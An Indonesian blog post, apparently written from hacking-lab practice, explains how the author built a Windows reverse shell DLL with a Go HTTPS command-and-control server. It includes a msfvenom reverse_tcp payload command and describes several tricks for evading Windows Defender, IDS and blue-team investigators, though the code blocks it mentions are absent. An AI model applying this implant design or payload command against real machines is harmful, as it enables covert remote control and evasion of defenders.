Membuat Reverse Shell DLL Untuk Windows
Pada suatu hari, saat saya sedang mencoba permainan hacking untuk mesin Windows, saya berhasil menemukan exploit-nya. Langkah selanjutnya adalah mengirim payload untuk menciptakan reverse shell sehingga saya bisa menjalankan perintah command prompt pada mesin Windows tersebut. Bila mengikuti cheatsheet yang ada, saya bisa menggunakan Meterpreter dengan perintah seperti msfvenom -p windows/x64/shell/reverse_tcp LHOST=10.20.30.40 LPORT=1234 -f dll -o payload.dll
. Namun, saat menggunakan file DLL yang dihasilkan, saya menemukan pesan kesalahan ERROR_VIRUS_INFECTED - Operation did not complete successfully because the file contains a virus or potentially unwanted software
. Sepertinya DLL yang dihasilkan oleh msfvenom
sudah diblokir oleh pertahanan bawaan Windows. Untuk mengatasinya, pada tulisan ini, saya akan membuat sebuah reverse shell sederhana dalam bentuk file DLL.
Reverse shell latihan ini terdiri atas 2 komponen:
master
yang dibuat dengan Go. Ini adalah aplikasi yang saya jalankan di komputer lokal untuk memberikan perintah ke mesin target Windows.payload
dalam bentuk file DLL yang dibuat dengan bahasa C yang memanggil Win32 API. Ini adalah file yang perlu disuntikkan ke mesin target Windows melalui celah keamanan.
Berbeda dengan reverse shell nc
pada umumnya, komunikasi antara master
dan payload
berlangsung secara stateless dengan protokol HTTPS sehingga secara teknis apa yang saya buat lebih mirip seperti C&C yang mengendalikan bot. Saya menggunakan protokol HTTPS dengan harapan ini tidak memicu kecurigaan dari tim biru karena banyak komponen aplikasi lain yang juga berkomunikasi dengan protokol HTTPS. Selain itu, karena HTTPS di-enkripsi, IDS tidak bisa melihat perintah dan hasil eksekusi-nya yang dikirim dari mesin target ke mesin master
.
Master
Komponen master
pada dasarnya adalah sebuah web server dan juga sebuah simulasi shell untuk memberikan perintah dan melihat hasil perintahnya. Saya akan menjalankan web server dan shell masing-masing pada thread sendiri seperti pada contoh kode program berikut ini:
Go sudah dilengkapi library bawaan di net/http
sehingga saya bisa membuat web server dengan mudah seperti pada kode program berikut ini:
Pada kode program di atas, saya menggunakan ListenAndServeTLS
sehingga web server akan menggunakan HTTPS. Syaratnya adalah saya perlu menyediakan sertifikat untuk komunikasi HTTPS tersebut. Karena tujuan TLS disini hanya untuk menjaga supaya isi perintah shell tidak terdeteksi oleh IDS secara mudah, saya bisa menggunakan self signed certificate yang dibuat dengan perintah berikut ini:
Perintah di atas akan menghasilkan file key.pem
dan cert.pem
yang dibutuhkan untuk menjalankan master
(harus berada pada folder yang sama).
Payload akan melakukan request GET
ke /joc
secara periodik untuk mendapatkan perintah yang perlu dikerjakan. Saya bisa mendefinisikan endpoint ini dengan menggunakan kode program seperti berikut ini:
Kode program di atas pada dasarnya hanya akan mengembalikan isi variabel command
sebagai respon dari request GET yang diberikan. Selain itu, saya juga menambahkan pemeriksaan user agent untuk membingungkan tim biru. Bila ada anggota tim biru yang curiga dengan endpoint ini dan mencoba memberikan request dengan curl
atau langsung dari browser, ia akan memperoleh hasil berupa OK - Operation completed
. Respon yang berupa isi variabel command
hanya akan dikembalikan bila user agent-nya bernilai Jochell
(yang nantinya akan dipakai oleh komponen payload
).
Setelah payload
mengerjakan perintah yang diperoleh lewat GET /joc
, ia perlu mengirim hasil eksekusi perintah ini melalui POST /dry
. Saya bisa membuat endpoint tersebut dengan kode program seperti berikut ini:
Kode program di atas pada dasarnya hanya akan menerima apapun isi dari request body POST
kemudian mengirimnya ke channel c
untuk ditampilkan. Channel c
ini dipakai untuk berkomunikasi dengan thread yang mensimulasikan shell dengan kode program seperti berikut ini:
Kode program di atas akan menerima input dari pengguna dengan scanner.Scan()
, menyimpannya ke variabel command
, menunggu hingga ada respon, mencetak respon tersebut ke layar, dan kembali lagi menerima masukan dari pengguna:
Karena pola komunikasi yang dipakai adalah stateless, akan ada jeda yang lumayan terasa saat perintah diberikan hingga hasilnya diterima bila dibandingkan dengan piping langsung ke shell tanpa henti. Namun, kelebihan metode stateless seperti ini adalah ia lebih sulit dideteksi karena cmd.exe
dikerjakan hanya bila ada perintah yang perlu di-eksekusi. Bila tim biru masuk ke mesin korban dan melihat daftar proses di task manager dan tidak akan menemukan cmd.exe
(atau powershell.exe
), ada kemungkinan ia tidak akan curiga.
Payload
Untuk membuat komponen payload
, saya memilih menggunakan C dan memanggil Win32 API (Windows API) yang telah disediakan oleh sistem operasi Windows. Sebenarnya saya bisa saja menggunakan Go dan cgo untuk menggabungkan C dan Go. Kode program versi Go jauh lebih singkat dan sederhana seperti yang terlihat berikut ini:
Namun sayangnya, DLL yang dihasilkan memiliki ukuran sekitar 4.5 MB. Bila dibandingkan dengan DLL yang dibuat dengan C dan memanggil Win32 API yang berukuran sekitar 200 KB, perbedaan ukuran file-nya cukup besar. Karena DLL ini akan di-inject ke proses yang sedang aktif, semakin kecil ukurannya akan semakin baik. Oleh sebab itu, saya akan menempuh cara yang lebih kompleks dengan menggunakan bahasa C.
DllMain
Karena DLL adalah library yang berisi koleksi functions untuk dipanggil, bagaimana caranya supaya kode program payload
bisa dijalankan secara otomatis tanpa perlu dipanggil? Jawabannya adalah dengan memanfaatkan DllMain
. Function ini tidak wajib aja di DLL, namun bila ada, ia akan dikerjakan setiap kali DLL dipakai oleh proses dengan menggunakan LoadLibrary()
. Saya akan membuat definisinya seperti berikut ini:
Kode program pada DllMain
tidak boleh terlalu kompleks untuk mencegah terjadi-nya apa yang disebut loader lock. Sebagai contoh, sangat tidak disarankan untuk memanggil LoadLibrary()
atau CreateProcess()
dari DllMain
. Oleh sebab itu, pada kode program di atas, DllMain
hanya memanggil CreateThread()
untuk membuat thread baru. Pada thread baru ini (yang sudah berada diluar DllMain
ini), saya akan mengerjakan kode program utama dengan isi seperti berikut ini:
Kode program di atas pada dasarnya akan memanggil getCommand()
setiap 5 detik secara perodik. Bila ada perintah yang diterima oleh getCommand()
, ia akan meneruskan perintah tersebut ke executeCommand()
dan kemudian mengirim hasil eksekusi perintah-nya dengan postResult()
.
WinHTTP
Win32 API menyediakan layanan WinHTTP untuk melakukan request HTTP tanpa perlu memakai library pihak ketiga seperti libcurl
. Saya merasa WinHTTP jauh lebih kompleks dibandingkan dengan libcurl
, namun karena ini tidak ingin ada library tambahan, saya terpaksa harus menggunakannya. Langkah paling awal dalam menggunakan WinHTTP adalah menyiapkan koneksi seperti pada kode program berikut ini:
Pada kode program di atas, saya mendefinisikan AGENT
yang akan dipakai sebagai user agent oleh WinHTTP dan juga IP dan port yang dipakai oleh master
di LHOST
dan LPORT
. Saya perlu mengganti nilai LHOST
dan LPORT
bila master
memiliki IP dan port yang berbeda.
GET Request
Setelah mendapatkan koneksi, saya bisa memberikan GET request seperti pada kode program berikut ini:
Pada kode program di atas, saya menggunakan flag WINHTTP_FLAG_SECURE
di WinHttpOpenRequest()
sehingga komunikasi dilakukan lewat HTTPS. Selain itu, saya juga menambahkan flag berupa SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
sehingga sertifikat tidak akan diverifikasi. Karena tujuan utama self signed certificate yang saya buat hanya untuk enkripsi, saya tidak peduli apakah sertifikat tersebut valid atau tidak.
CreateProcess()
Untuk menjalakan perintah yang peroleh dari getCommand()
, saya dapat menggunakan API CreateProcess()
seperti pada contoh kode program berikut ini:
Pada kode program di atas, saya membuat anonymous pipe hOutputPipeRead
dan hOutputPipeWrite
untuk menampung hasil eksekusi perintah. Saya akan melewatkan hStdOutput
dan hStdError
dari proses cmd.exe
ke anonymous pipe tersebut seperti yang terlihat pada kode program berikut ini:
Pada saat API CreateProcess()
dipanggil, kode program akan langsung lanjut ke baris berikutnya sementara proses cmd.exe
berjalan di proses baru. Oleh sebab itu, bila ingin menangkap hasil eksekusi cmd.exe
, saya perlu menunggu hingga proses cmd.exe
selesai terlebih dahulu. Sebagai contoh, pada kode program di atas, saya menunggu proses baru selesai dengan batas waktu hingga maksimal 1 menit dengan WaitForSingleObject()
seperti yang terlihat pada kode program berikut ini:
POST Request
Setelah mendapatkan output dari cmd.exe
, saya tinggal mengirim output tersebut lewat POST request seperti yang terlihat pada kode program berikut ini:
Kode program di atas tidak jauh berbeda dengan GET request, hanya saja kali ini saya menambahkan WinHttpWriteData()
untuk mengirim request data dari POST request tersebut.
Build
Untuk menghasilkan DLL berdasarkan kode program di atas, saya bisa menggunakan Visual Studio C++. Selain itu, bila bekerja dari Linux, saya juga dapat memanfaatkan cross-platform compiler seperti MingGW yang dapat di-install dengan perintah berikut ini:
Setelah itu, saya bisa menghasilkan DLL dengan perintah: